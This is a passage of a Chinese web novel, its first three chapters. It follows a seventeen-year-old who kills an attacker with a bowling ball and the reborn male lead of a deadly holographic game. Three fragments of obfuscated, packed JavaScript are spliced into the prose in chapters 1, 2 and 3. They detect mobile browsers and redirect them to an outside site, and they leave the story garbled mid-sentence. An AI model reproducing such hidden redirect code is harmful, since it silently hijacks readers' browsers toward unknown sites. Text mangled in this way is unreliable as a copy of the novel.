《把男主推下深渊后》 1. 第1章 3041年,地球进入‘电子废土’灾难时代。 全息游戏数据失控,脱离控制,上亿人于全息舱中爆体而亡,炸成血水。 地球居住环境被数据化,无处不在的数据污染将人们拽入电子世界的深渊。 人类文明被按下了倒退键。 原本繁荣的商业街上空无一人,废纸、泡沫和塑料袋在地上翻飞。 高耸的居民楼中空荡荡,几盏白炽灯微弱地泛着亮光。 高压线曝皮,垂落在地上。 无人机在城市的上空呼啸而过,热感镜头中没有感受到任何活物的存在,缓慢而僵硬地继续往前飞行。 直到地面出现一道红点。 [发现非电子化的生物!] [发现非电子化的生物!] 无人机的屏幕上闪着[Danger]的光亮,从距离地面三千米的高空破空坠落,镜头聚焦于地面闪烁的红点生物上—— 无人机的屏幕上,一只兔子僵硬地立在镜头前,脖子上套着家养的项圈,红色的双眼睁大着,惊恐到极点。 在兔子的后腿再次动弹之前,无人机的射击口早就再次打开,数据弹“砰”得射击而出。 刹那间,兔子原本光滑的皮毛被电子化,僵立了三秒,化为一堆数据流淌于地面,融入皲裂焦黑的土地里。 [解除警报] [四周再无活物] 无人机飞走后,这个城市再次恢复死寂。风中,传单“啪”得被甩在了斑驳的广告灯牌上,上面五彩斑斓的广告语是这座城市唯一的颜色。 ‘来游戏,开启你的第二人生。’ 五年前《深渊》开服时,没有人会料想到这个游戏会成为地球的浩劫,将人类拽入末世。 包括团队的研发负责人晏逾明,这个年仅二十三岁的天才。 他成了这个世纪的罪人。 ——节选自《深渊》原著。 · [所以男主被认为是这个世纪的罪人,无论做多少事,救多少人,永远会被陷入偏见。] 034号在温知初耳畔说着:[你听明白了吗?] 见宿主没有反应,它再次开口,[你身处的这个‘游戏’世界,可以说是男主一手创造的。] 034号讲了一大通,并没有任何人回应。 与外面的世界不同,的游戏世界五光十色,人声鼎沸。 无人机在城市的半空慢悠悠地飞着,如同小蜜蜂一般嗡嗡地播放着当下流行的唱片。 城市的大街小巷里弥散爆米花的香味,商贩和客人讨价还价,年轻的孩子们背着书包去学校,当黄灯变成绿灯时,一群孩子呼啸而过。 信号灯哼唱着城市的节奏。 一切和平到不像样。 但034号知道,这一切都是假象。 的游戏定位,是一款杀戮游戏。 034号现在所处的地方,是《深渊》女配温知初的家,刚才女配睡醒睁开眼后,它便争分夺秒地绑定了她,但这位原著中的恶毒女配似乎听不见它说话。 034号怀疑是因为刚刚绑定、信号还不太稳定的缘故。 等等…其实比起女配,用路人甲这个词更能形容她。 毕竟她在原书所占的篇幅也就靠近结尾的那两页。 [你家虽然小,还挺整洁的。]034号随处乱看着。 小小屋子位于居民楼的三楼,推开朝南的窗户后,能看到对面一片教堂区,一群鸽子高空飞过,翅尖闪过数据流。 温知初将晒好的被褥从阳台搬回来后,她弯下腰,修长白皙的手指挑起桌上的锉刀,打磨终端戒指发钝的边角。 套回食指。 [你运气真好,作为一个杀死男主的女配,竟然能被选中觉醒。] 034号百无聊赖地调出温知初的个人资料—— 姓名:温知初性别:女生日:3月4日 年龄:17岁身高:177cm 等级:E-6[满级S-99] 战队:无 性格:看似柔弱其实狠毒 重要剧情:被男主救过的路人甲,以怨报德,在剧情中于成年的那一日杀死男主,导致男主重生的罪魁祸首。 034号:[?] 034号:[多大?] 杀死男主的路人甲竟然还没有成年! 一眨眼的功夫,它的宿主已经锁上门出门,出门之前,宿主对着家里喷了空气清新剂。 034号闻了闻,是蒲草的气味。 宿主踩着平底的皮鞋,一身修身的西装,修长的双腿被西装裤包裹住,白衬衫上的扣子被系到了最上面,领带打得一丝不苟,但肩上不伦不类地背着一袋保龄球。 她的头发黑直而长,用发带系得低,方便脑袋上扣上鸭舌帽。 身材瘦而薄,白衬衫下隐着蝴蝶骨,腕线过档,腰细,脖子纤长,完全的模特身材,一身西装莫名被她穿得有一股禁欲的色气。 看清鸭舌帽后的脸后,034号吹了一声口哨。[怪不得口碑这么烂、出场这么少,也被投成原著颜值榜的第一名。] 初次见温知初的人,很容易对造物主的偏心骂出脏话——太过好看了。 有‘空山新雨后’的雅,也有初生箔阳那一缕金光的浓,有着和她的身材、气质相得益彰的,一张温和而禁欲的脸。 因为穿着西装,美中还带有点儿慵懒的‘俊’。 她的眸子是彻底的纯黑,盯着人看时,人几乎像是能被她的眼睛吸进去。 她的面容偏冷淡,但因为眼型的缘故,笑起来时,让人如沐春风。 [才17岁,穿这么成熟干什么?] [啊!我想起来了!]034号继续调出宿主的资料,[原来你在保龄球馆打工啊。] [工资200元一天,总存款才1000元,真可怜。] [但你起码还活着,还没被男主杀死。] [没想到吧,男主重生了,他这辈子黑化做大事去了,暂时没有来找你这个小虾米,等到你再次成年的时候,就该是你的死期了。] [数据流推测你会死得非常惨,估计会被男主的属下削成肉片啊,一片一片的,散乱在地上,到处都是。] [谁叫你这么恶、恶毒…] 034号‘恶毒’不下去了。 温知初从楼道下来时,一个小男孩儿正好骑着滑板车冲过来,眼看着两人就要撞上,小男孩叫了一声,从滑板车上摔下来,温知初伸出手,撑住了小男孩儿的肩,滑板车摔在地上,温知初把小男孩儿扶起来。 她弯下腰:“摔伤了?” 小男孩儿对上了温知初的脸,害羞地低头:“没、没有,知初姐姐…” 温知初把滑板车扶了起来,摸了摸小男孩儿的脑袋:“别再摔下来了,你的父母会担心的。” 小男孩儿连连点头:“好、好,知初姐姐,你要去上班了是吗,晚、晚上见。” 温知初露出一个温润的笑:“晚上见。” 小男孩儿更害羞了,滑着滑板车‘咕噜咕噜’走远了。 温知初直起身时,脸上的笑敛起,继续往外走,背上的网袋里,保龄球不停发出相扣的声响。 034号的语气非常怪异:[不对,原著里你可是杀死东郭先生的狼,你会这么好心?] 这里没有旁人,女配根本不需要装给旁人看。 [而且,这就是个NPC…] 034号这个小男孩儿是一具电子尸体。 所谓电子尸体,就是非原生NPC。 游戏外的活人来到游戏后,如果死了,就会变成一段无限循环的、没有意识的数据,永远不会再长大。 这个小男孩儿在未来的几十年、几百年里将会一直重复骑着滑板车到处乱晃的早晨。 他已经死了,成了彻底的数据堆,再也逃不出游戏。 [这已经算好的了。] 034号说:[宿主,数据流推测你死后连数据堆都没有,直接会被男主亲手给碾碎了。] 温知初的脚步有一瞬的停顿。 034号发现宿主露在鸭舌帽外的耳尖有些泛红。 就在034号以为宿主听见它说话时,温知初朝对面街道点了点头,034看了过去,原来是对面营养剂店的老板娘在和宿主打招呼。 034号发现宿主的人缘出奇的好,不断有人主动和宿主打招呼,人群中有NPC也有活人,宿主回之以温和的笑,偶尔抬起手一挥,肩上背着的保龄球继而发出清脆的响动。 “知初,谢谢你上次帮我修好的光脑。” “小温,要吃苹果吗,刚进的货,不要钱,别客气,给你家送去。” “小温,晚上来姨家吃饭。什么,你今天加班?那明天晚上来吃。” “知初,上次的事儿多亏你,要不然我就被供应商给骗了。” 温知初继续往前走,修长的双腿晃得人眼乱。 “早。” “谢谢。” “不客气。” “好。” 034号的心境不断变动:[等等,难道…你是一个好人?] 原著里的恶毒女配,在没有剧情的私底下,竟然是个大好人? 它当然希望自己的宿主是个好人。 可…如果宿主是个好人的话,那她不就太倒霉了吗,明明是个人缘这么好的善人,却变成了剧情杀男主的刀? 而且它接下来要给宿主分配的任务,可就真的要将她往深渊推了。 [是这样…] 034号的语气变得艰难:[剧情发现男主觉醒、重生了,换句话说,就是脱离剧情控制,有自己的意识了…所以我需要绑定你,让你去勾引、陷害、杀害他,来将剧情拨乱反正。] [你被剧情挑中,是因为你上辈子能杀死男主,而且你是除了男主唯一能觉醒的角色。] 034号一边录音一边自说自话:[当然,肯定不会让你白干,如果你能、能在这过程中让男主对你产生好感的话,好感值越高,你会获得不同的奖励。] 034号觉得自己太缺德了。 拨正剧情和攻略男主是相悖的两条路,宿主如果按照剧情胁迫的去‘陷害’‘勾引’‘杀害’男主的话,不用想都能知道她的下场会有多惨。 可以说,034号就是剧情派来吊在温知初面前的胡萝卜,将她往死路里牵引。 034号继续自言自语地交代,准备等信号恢复后直接将录音给宿主听。 它说的话自己都觉得残忍。 [你现在必须去找男主,不准逃跑。] [我们这样做也是为了、为了你好,你游戏等级太低,也没有加入任何战队,没有男主你也会被其他人杀死的。] [男主杀人挺有仪式感的,没到你成年那一天,他应该不会杀你,所以在这段时间里,你必须要继续按照剧情做一些不、不太得体的事,咳,当然做这些事也是会有奖励的,但如果你不做的话…就会被狠狠地电击,让、让你痛不欲生。] 温知初停下脚步,给面前的一个老人的轮椅车让道,错过了一个绿灯,原地用手指无节奏地叩着自己的裤腿,绿灯再次亮起时,才再次跟着人群往前走。 034号:[……] 看着善良成这样的宿主,034号更羞愧了。 就在它想说些什么时,光屏上出现[Danger]的警示信号。 [发现有人尾随宿主!] [危险,危险,发现有人尾随宿主。] 034号:[!] 全知视角里,034号看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943361|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一个高壮的刀疤脸在朝宿主看,他的手指点动着,显然在查看宿主的等级。 看到温知初只有E-6的等级后,C-26的刀疤脸露出了一抹笑,在看到温知初没有加入任何战队时,他的双眼中染上了炽热。 他娘的撞大运了,让他遇到一个低等级的散人! 在里,是要通过杀戮来提高等级的,等级越高,在游戏里积累的资本就愈发多。 据说达到满级后,就能逃离这个该死的电子世界。 杀戮一百个NPC获得的经验,没有杀死一个活人高。 所以为了人伦秩序,联盟颁布了规定,不允许战队之间在没有申请赛事的情况下私自杀戮。 如若违反规则,会被联盟执死刑。 刀疤脸原本也是有战队的,但因为酗酒的原因能力下降了很多,战队害怕影响团队把他踢了出来,他现在是个饥肠辘辘的散人。 他看着温知初,嘴角咧得愈发大。 他年纪大了,已经不指望着加入其他战队升满级了,他就想醉生梦死。 刚来这个世界的时候他还不敢杀人,但经历了几年的赛事,他已经能杀人不再眨眼,更何况眼前的是一个只有E-6的弱鸡。 甚至都不用拿什么枪炮,E-6的弱鸡能有什么防御,直接拿把刀就能捅了。 刀疤脸掏出口袋里的刀。 [宿主!] [宿主!] [危险啊!] 034号不停播报着危险,不会吧,不会吧,宿主该不会就这么死了吧。 宿主死了它的系统生涯也就完了啊! 宿主根本听不见它的声音,不仅没有躲避,而且走向了人影更偏僻的公园草坪,慢悠悠地前行。 [不是,宿主,你上班这条路这么奇特的吗,从公园走?] [这里没有人,他要动手了啊!] 刀疤脸见四处无人,嘴咧得愈发大,刀子亮出来就直接往温知初背后撞。 [宿主——] “砰”得一声,温知初被撞了一下,背上得保龄球网袋撞倒在地上,网袋上被刀割出一个大洞,保龄球漏了出来,咕噜噜的顺着草坡往下滚。 温知初顿了顿。 转身。 她望向刀疤脸:“抱歉,挡着你路了?” 她弯下腰捡保龄球。 034号:[!] 034号:[宿主,你怎么回事儿,当好人当傻了了么,你没看到他手上的刀么?] 034号:[明明是他撞过来,你道歉干什么?] 刀疤脸因为温知初的脸短暂地愣了会儿,心底升上来的是更大的愤怒。 这个只有E-6的弱鸡竟然敢忽视他! 高大的个子挥舞着刀子就继续撞了过去,捡起一个黑保龄球的温知初站起了身,面对撞过来的黑影,她微微侧过身,刀疤脸还没看清楚人影,就擦了个空,差些摔倒。 怎么回事?。 这个弱鸡这么好运,两次都躲过了他的刀? 他愤怒地转过身,对上温知初凝视向他的一双深黑的眼。 034号:[宿主,别愣着,快跑啊!] 温知初没逃,往前走一步,她看向刀疤脸手上的刀:“联盟不让私自杀戮。” 刀疤脸嗤笑:“你没有战队,我也没有战队。” 温知初抬眼,突然问了一个牛头不对马嘴的问题:“你是好人吗?” 刀疤脸:“什么狗屁问题,你看老子像好人么?” 温知初拎着手中的保龄球,16磅的保龄球拎在她手里,看起来轻飘飘的:“抱歉,是我多嘴了,有人给我定过规矩,不让我杀好人。” 刀疤脸嘴中爆发出笑,上下打量起温知初:“怎么,就你,还想杀人…” 纤细的手腕挥起保龄球,高高地举起,温知初的小臂绷紧。 “砰!” 刀疤脸的话没能说完,用力挥来的球将他的脸砸瘪了。 刀疤脸应声倒地,到死都没明白自己怎么死的。 他的脑子直接被保龄球给砸裂了。 温知初面无表情地用保龄球碾着球底下的血肉和碎骨,确认人死透了后,才放开了保龄球。 沾血的保龄球沿着草坡往下滚。 034号的[宿主]二字卡在了电流里,四周一片寂静,系统陷入乱流。 温知初弯下腰,颀长的手指直接塞进了地上的碎肉里,在尸体电子化之前,于一片粘稠的血肉中找到了刀疤脸C-26级的数据核。 没了数据核,刀疤脸彻底死了,尸体再也无法电子化,这具无头尸将会在不久后腐烂成数据烂泥。 以最没有尊严的形式。 温知初擦拭数据核表面的血,擦完后,抬起手,看晶核在日光下散发晶莹剔透的光。 她看了会儿后,将晶核塞进了口袋。 她没有再捡散乱在地的保龄球。 因为在刚才的时间里,她想明白了一件事。 去保龄球馆太无聊了。 上班太无聊了。 她要辞职。 温知初:“034号。” 034号:[!!!!!!!!!] 宿主知道它的存在?什么、什么、什么时候知道的! 温知初:“我答应你的提议,去见晏逾明。”但她不会去攻略他。 有不可告人的理由,让她必须要去见他。 留在他身边。 也该是时候出发了。 034号:[!!!!!!!!!!!!!!!!!!!] 温知初摘下帽子,捋起额前沾血的碎发。 “Yu…” 重生,觉醒,听起来真不错。 温知初重新扣起鸭舌帽,耳尖有不明显的血色:“好久不见。” 2. 第2章 内,原本横躺尸体的草坪已然空无一物,没有尸体,没有刀,没有保龄球。 放着风筝的一家人欢声笑语地从草坪上跑过,孩童的脚步踩过沾血的草地,指着高空的风筝笑。 外,一栋筒子楼内,破旧的房间堆叠啤酒瓶和杂乱的衣物。 五年没有人居住的房间布满灰尘,鱼缸里的鱼早就翻了肚子,死寂的房间里出现一声巨响。 房间角落电线堆叠的全息舱内,刀疤脸套着头盔的脑袋突然爆炸,头盔内血肉四溅。 就这么一下,再也没有任何动静。 在高空巡逻的无人机无情地飞过,对这声响动完全没有反应。 只不过又有一个活物在游戏里死了罢了。 · 034号花了一天的时间,消化了一个事实。 它的宿主不是一般人。 她似乎是个‘疯子’。 034号唯唯诺诺地躲在电流中。 它的宿主自从离开草坡后,只主动和它说了一次话,而后便再没有同它有交流。 她问了晏逾明在哪里。 034号:[已查明男主在距离您三千公里的B市。] 034号:[需要12小时的车程。] 温知初没有去保龄球馆,她回到家中,简单地收拾了些东西放在背包里,再将捡回来的四个保龄球全都灌入背包中。 她打开上锁的抽屉,将一根系着军牌的灰绳项链珍重而悉心地系到脖子上,理了理领子,就这么离开了。 034号还没有反应过来的时候,宿主已经抵达B市了。 温知初刷卡进了一间全息网吧,网管热心地要帮她拿背包,温知初顺手递了过去。 背包一接到手,网管的身体往下沉,差点被手中的重量给压得跪在地上。 温知初扶住他,拎回了自己的背包:“谢谢,还是我自己来拿。” 今日里网吧里的人要比往日多上数十倍,生意格外火爆。因为今日有荒岭夺物制的A级联赛短时赛决赛。 机器人在走道间游走,提供联赛下注的服务。 网吧的大屏上投映着两个战队陆续进场的画面。 KPS战队VSRSV战队 温知初找到一个位置,将背包放到地上,戴上耳机,看向大屏。 034号:[RSV战队就是晏逾明现在所在的战队。] 温知初:“嗯。” 温知初:“我知道。” 见宿主回应,034号继而说得更多:[不过过了今晚就不是了。] 034号:[上辈子RSV因为作战失误输了比赛,他们把原因全推到男主一个人的身上,逼他退了战队。RSV通过行业施加压力,不让其他战队收他。] 034号:[但是这回男主已经重生了,数据流推测重生的男主就算知道里面的弯弯道道也不会说出来,依旧保持圣父人设上场,用自己的方式主动退出战队。] 034号:[他自己已经在幕后成立了一个战队,是少有的能有资格参加S级联赛的战队。] 温知初:“嘘。” 她戴上眼镜:“安静些,我要看他比赛。” 034号赶忙闭嘴:x 在比赛彻底开始之前,温知初拿了一卷钱塞入网吧机器人的投递口:“押MVP。” 机器人:[请选择投注对象。] 温知初的手指关节轻轻触碰屏幕:“他。” · B市边郊的A级赛事岭场,于尖叫声中,KPS战队和RSV战队陆续进场。 每队15人。 此次赛制:三局,15人,山岭屠杀夺物制,短时赛。 所有人站到各自的待机位中,在臂膀上安装生命监测设备。 在比赛开启之前,镜头依次从选手的脸上切过。 的比赛可不是游戏外的寻常竞赛,进入比赛,如果死了,就是真的死了。 这是一场披着赛制的屠戮。 镜头前的面孔大多年轻,但这有可能是他们生命的最后一个画面。 观众十分狂热。 每切换一个画面,粉丝们都会爆发大量的尖叫,这些战队的年轻血液是他们逃离的希望,也是集体癔症时代的精神标杆。 镜头定格在RSV战队的主Carn位身上,四周的尖叫声空前绝后的响亮。 但这响亮中除了崇拜,还夹杂有不和谐的怒吼,对半而响。 温知初的眼镜上,密集的弹幕随着他的出现以恐怖的速度刷新。 毁誉参半。极致的誉和极致的毁。 [Yu神!] [啊啊啊啊啊啊Yu神好帅!] [Yu神出场,所向披靡!] [他在这个战队是大材小用了,听说他是因为还俱乐部老板的人情才留在这个战队的。] [Yu神是这个时代的主宰。] [垃圾Yu。] [还有人不知道他是的研发负责人吗。] [他竟然还有脸活着。] [RSV也是太善了,竟然收留了他。除了RSV还有哪个战队敢要他吗?] [他是这个时代的罪人,是人渣。] 弹幕里吵了起来。 [什么叫这个时代的罪人,他只负责部分研发,难不成失控是他的责任么?电子失控是科技灾难,不是人为能控制的!] [你们就洗吧,这样的垃圾还有粉丝,下一个死的就是你。] [不是RSV收留Yu神,是Yu神带飞RSV好吗,RSV从五年前那个E级战队升到A级,都是Yu神一个人拖飞机好吧!] [祝垃圾Yu今晚就死。] 一个id为[45978526]的用户带着一群人刷了上千条弹幕,占据了眼镜上的大片光屏面积。 [祝垃圾Yu今晚就死。] [五马分尸。] [时代罪人。] [必死。] …… 温知初的视线掠过弹幕,透过眼镜看向大屏。 在对上大屏上那张脸的瞬间,她的呼吸有片刻的凝滞,抵在桌上的指节蜷缩。 与此同时,岭场的赛事屏上,弹出镜头聚焦之人的个人信息。 姓名:晏逾明年龄:23岁身高:192cm 等级:不明(赛事人已隐藏) 战队:RSV 比赛负责位:主Carn 晏逾明居高临下地看向镜头,眼神冷漠而散漫。 他有着一张矜贵到过分的脸,俊朗到镜头几乎失焦,眼窝因为混血的缘故比常人要略深些,盯着人会让人莫名觉得有种可能会被攻击的惶恐。 鼻梁高挺,添一笔不明显的驼峰,皮肤近乎于苍白。 他的手指修长而有力,骨节分明,这是一双创造了的手。 034号觉得晏逾明要比它想象中要冷漠许多:[上辈子男主就是顶着这张脸和神情当圣父的么?] 034号:[怎么看怎么都不像是好人的气质啊。] 034号:[但也难怪,就算原著里他前世再怎么圣父,他也是主Carn位。] 主Carn位,原名主戮位。 屠戮的戮。 034号看了看晏逾明,又看了看温知初,莫名觉得两人有些像。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943362|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >· 比赛开始,因为是短时赛,所以三局两胜。 两个战队,共30个人散布入岭场。 不久,枪声于岭间隐隐约约传来。 第一局,RSV率先清理异种,找到KPS的守地获取皇后核,过程中KPS死去两个辅Vant位,RSV全员存活,RSV胜。 第二局交换守地,KPS牺牲剩下来的两个主Vant位拖住异种,蹲守截杀RSV中转移皇后核的主Tact位,KPS胜。 比分1:1时,全场存活人数意外的高,只死了五个人。 确定死亡的情况下,替补顶上。 公共弹幕上群情激愤。 [退钱!就死这么点人!退钱!] [我真是服了,Yu是被安排在RSV的间谍吧,第二局明明有机会杀了KPS的那两个辅Tact位,为什么不动手?不想杀人啊?圣父转世啊?] [这是团队竞赛,又不是人头越多就能赢,你们疯了,尽量避免杀人这不是正常人的道德吗。] [傻吊,第二局那两个人死了,第三局RSV胜率不就更高么?] 中场休息了半个小时,战队各自补充完装备后,守地再次交换。 RSV中的辅Carn位受伤严重,但没完全咽气,替补无法顶上,他只能顶着残躯继续上场。 决胜负局的中途,辅Carn位死了,主Carn位Yu‘被迫’单独行动离开守地。 他的身后响起队友惊恐的声音:“你去哪里!” “Yu,快回来!” 守地没有Yu,就像死亡被开了个口子。 山岭间传来尖叫声和枪声,血染屏幕。 第三局结束,RSV队戮杀KPS队2人,RSV守地队员被异种侵袭,死亡12人,重伤2人,皇后核被异种毁灭。 RSV迎来了五年来最惨痛的失败。 解说不可置信地高声喊道:“RSV地主力队员竟然因为作战失败损耗如此严重,非常可惜,可以料想未来几年内,我们可能再也无法看到RSV跻身A级联赛了。” 赛事屏上弹出比分结局:RSV败 全场MVP:Yu 此结果一出,公共弹幕区爆炸。 [啊啊啊啊啊Yu神好帅,我就知道他是MVP!] [恭喜Yu神存活,获得全场MVP!] [RSV人快死光了结果Yu没死?] [看吧,这就是当圣父的结果,第二局Yu如果杀了那两个Tact位,RSV根本不用死这么多人。] [为什么死的不是他?] [Yu千古罪人,建议自杀。] 比赛结束,温知初从大屏上转移视线,耳畔响起034号的声音。 034号:[那些袭击RSV守地的异种,其实就是男主引过来的。] 温知初:“嗯。” 034号无法理解宿主为什么能这么淡定,淡定到似乎对它的话一点都不感兴趣。 034号:[宿主,男主可是要杀你的人啊,他这么狠,你不害怕么!] 034号:[就算要攻略男主我们还是要小心谨慎,从长计议,要不然我们还是先回A市先思考下该怎么…] 034号发现宿主完全没有听它说话。 它看见宿主有些生疏地按着眼镜的镜框,用意识输入弹幕。 公共区中,弹幕在滚动。 034号看着宿主点击一个刷屏辱骂最狠的用户名,id名为[45978526]。 冷淡修长的手指按动着眼镜框,温知初回了两个个字。 [闭嘴。] 3. 第3章 034号看着宿主回复那些辱骂男主的弹幕。 她用意识输入弹幕的动作十分缓慢而生疏,看起来也不算什么很擅言辞的人,回复的言论里没有激进的词语,大多数回复还都是重复的。 温知初好看的眉头轻皱,唇线抿了抿,一边输字一边松开自己领口的领带。 打出的字和她的眉眼一样冷淡。 [闭嘴。] [虚假评论。][谣言。] [闭嘴。] [闭嘴。] [闭嘴。] …… 034号:[……] 它麻木地看着宿主回复了三个小时的弹幕。 再麻木地看着温知初摘下眼镜,重新理好衬衫,对来提醒她到点下机的网管小哥礼貌地说了声‘谢谢’。 温知初揉了揉鼻翼,斜挎上背包,戴上鸭舌帽,像是什么都没有发生过一样离开全息网吧。 离开之前,她去网吧机器人那里取自己下注收益。 赔率2.5,拿回了2500。 温知初将钱塞回口袋:“034号。” 034号:[!] 034号:[到!] 温知初问:“他的战队叫什么名字?” 034号:[?] 温知初继续问:“Yu创建的那个战队叫什么名字?” · 比赛结束,记者们挤在后门想拦截采访队员,尤其想采访这场引起重大争议的Yu。 当然,晏逾明这个人本身,就是争议。 被蒙着白布的尸体不停送出来,记者们拍到了不少死去的队员,但活着的RSV队员一个都没有看到。 后门传来队员家属的哭声,夹杂微弱的闪光灯声。 RSV的大巴,早就在半个小时前已经开走了。 RSV的基地内,工作人员乱成一团,焦头烂额地处理主力队员大规模死亡的事件。 家属来势汹汹,广告商和赞助商打来的电话此起彼伏。 培养一个主力队员的价钱可谓是天价,一下死这么多人,焦虑和压抑笼罩整个RSV基地。 人来人往的脚步声和刺耳的电话铃声中,晏逾明倚靠在墙上,帽檐压低,半眯着眼,俨然一副闭目养神的模样。 RSV的俱乐部老板在痛骂教练和工作人员,他淡淡地听着。 这次RSV一共死了13个人,重伤了2个人,最后场上存活的只剩下晏逾明和一个替补的主Tact位。 这个替补的主Tact位还是个二十的小年轻,老板拿他开枪,一边骂一边拿手上的平板拍他的胸膛:“最后一局,你就眼睁睁地看着你的队友在守地战死?” 老板:“为什么不转移皇后核?” 转不转移皇后核不是替补能决定的,这是战术问题,不是个人问题。 他低垂着脑袋:“对、对不起。” 老板骂替补时,眼神一直都看着晏逾明的方向,见那人完全不动容的模样,他提高嗓门:“晏逾明!” 晏逾明这才走了过来。 修长高挺的个子压了过来,帽子下看人的眼神是居高临下而冷漠,老板被这么一看,竟然有半分钟没能说出话来。 话头的先机被抢走了。 晏逾明说:“最后一局不关他的事,我全责。” 替补惊讶地望向晏逾明:“Yu哥…” 老板:“当然你全责,你没有保护好你的队友。” 老板:“五年前没有任何一个战队要你,是我让你进了战队,你就是拿这个成绩来回报我的?” 替补嗫嚅着想替晏逾明说话:“其实、其实是队长他布置的战术有问题…” 主Carn位的责任根本不是保护队友,反而,队友应该尽责地去守护Carn位去输出。 是过去五年晏逾明做的太好,才让他们产生了不切实际的错觉。 老板瞪了替补一眼,替补说话的声音低了下去:“是、是我们的错。” 晏逾明的视线从替补的脸上划过,最后落在老板的脸上:“我承认。” 他开口:“作为惩罚,我自愿退出RSV。” 此话落下,整个基地都静下来了。 所有人都不可置信地望向晏逾明。 他们一起走过了五年,见证了Yu将RSV从E级战队拉到A级战队的能力。 Yu这么优秀的存在,如果不是因为有开发这个罪名,根本不可能留在RSV。 和他的外表不同,他做事向来以他人为先,非常负责任,负责任到几乎圣父的程度,即使牺牲自己也不愿意让队友受伤,将RSV视为自己的孩子,所以没人会想到他会主动提出离开RSV。 而且是在这么焦头烂额的关头。 老板几乎惊叫出声:“晏逾明,你知道你在说什么…” 他的声音放缓了些,开始对晏逾明说好话。 絮絮叨叨的,晏逾明根本没在听,说完一声“五年的合约也已经到期了”,他将印着RSV队徽的帽子摘下,散漫地扔到了沙发上。 老板:“晏逾明!” 老板:“你就留这么一个烂摊子给我么!” 晏逾明提起一抹笑:“RSV怎么能算是烂摊子,我这个比赛的罪人才是烂摊子。” 他已然转过身,应对身后的声音,扬起手随意挥了挥:“烂摊子走了。” 背后传来气急败坏的骂声。 “出了这个门就别想回来续约了!” “你信不信我一句话出去,行业里不会再有战队留你!” …… 人走到门口后,身后传来急促的脚步声。 替补追了出来:“Yu哥,你…你真的要走吗?” 他喘着气,仰望这个强大而总处于舆论中心的男人:“你要去哪里?” 他抬头:“我可以跟你一起去吗?” 替补Tact位知道晏逾明是一个非常有能力的人。 他觉得就算老板在行业里下绊子,晏逾明也必定有更好的出路。 能力在哪儿,出路在哪儿。 RSV现在已经不是一个好的留处,替补希望晏逾明能带他走。 他印象中的晏逾明人一直很好,这种事对其他人来说可能是负担,但替补知道,他如果诚心如此请求,晏逾明肯定会答应他… 晏逾明垂眼:“不行哦。” 替补僵硬:“…欸?” 晏逾明露出一抹冷笑,刻薄的话流畅地说出了口:“你太弱了。” “累赘一个。” · B市中心医院内的病房内。 一个浑身都是烫伤的男人躺在病床上,透过输气罩艰难地汲取着氧气。 他的身上布满密密麻麻的烫伤,肺部严重被灼伤,呼吸时如同风箱在抽响。 他是RSV战队的队长王序,也是这次决赛的策略负责人。 他不敢闭眼,一闭眼就梦到那些倾轧向守地的异种,以及铺面而来的火焰。 队友被烧死时,散发着刺激涎液的香味,他昏过去之前,也闻到自己的身体传来如此的蛋白质焦味。 这一切,本应该晏逾明来经历的。 他的眼中露出郁痛。 王序一直很嫉妒晏逾明。 应该说,只要是人,站在晏逾明,很难不去嫉妒他。 他那几近完美的智力、能力和品性将他们一群队员衬托得像是垃圾。 只有在开发这件事上,他们才能踩他一脚。 他和其他队员心安理得地享受着晏逾明的保护,并且明里暗里孤立他,散布一些污名化的谣言。 可晏逾明不在意。 晏逾明锋芒渐露,越来越厉害,他们就越讨厌他。 趁着这次A级联赛,他和其他队员谋划了一个策略,企图引诱异种来消除这个眼中钉。 RSV已经足够厉害了,不再需要Yu了。 不知道为什么,本该锁定主Carn位的异种却返回守地,躺在病床上的人成了他。 王序不知道,其实他上辈子成功了。 成功地让晏逾明受伤,成功地将RSV的功臣赶出了战队。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943363|177464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 渴… 渴。 好渴。 医院为了方便病人呼唤护士,在病床就近处安装了视网呼唤铃,王序只需要看一眼就行。 王序睁开眼,看向呼唤铃—— 在这个动作完成之前,一个高大的身影走到他病床旁,用手扯下了呼唤铃。 呼唤铃“啪”得掉落在地,电流闪烁几秒后,没了响静。 王序愤怒地转过头看向来人,眼神一愣,睁大了双眼。 晏逾明! 来人的手抵在耳机上,显然在和人通话的状态中。 他的另一只手夹着一支细长的注射器,手指缓慢地晃着手中的注射器,针管上有一滴药液滴了下来,滴在他的食指上,顺着骨节缓慢地流淌。 对面通话的是TRES的名义老板吴于丘。 TRES是晏逾明重生后,于幕后创建的一支S级战队,被誉为神之队,目前在休队洗牌招募期。 吴于丘:“主Carn位给您留着,您什么时候想来就行。” 吴于丘:“您放心,一切都正常。” 他问:“您在哪里,我马上派人去接您。” 晏逾明望向怒视向他的王序,扬眉而笑:“在医院。” 吴于丘:“您在医院干什么?” 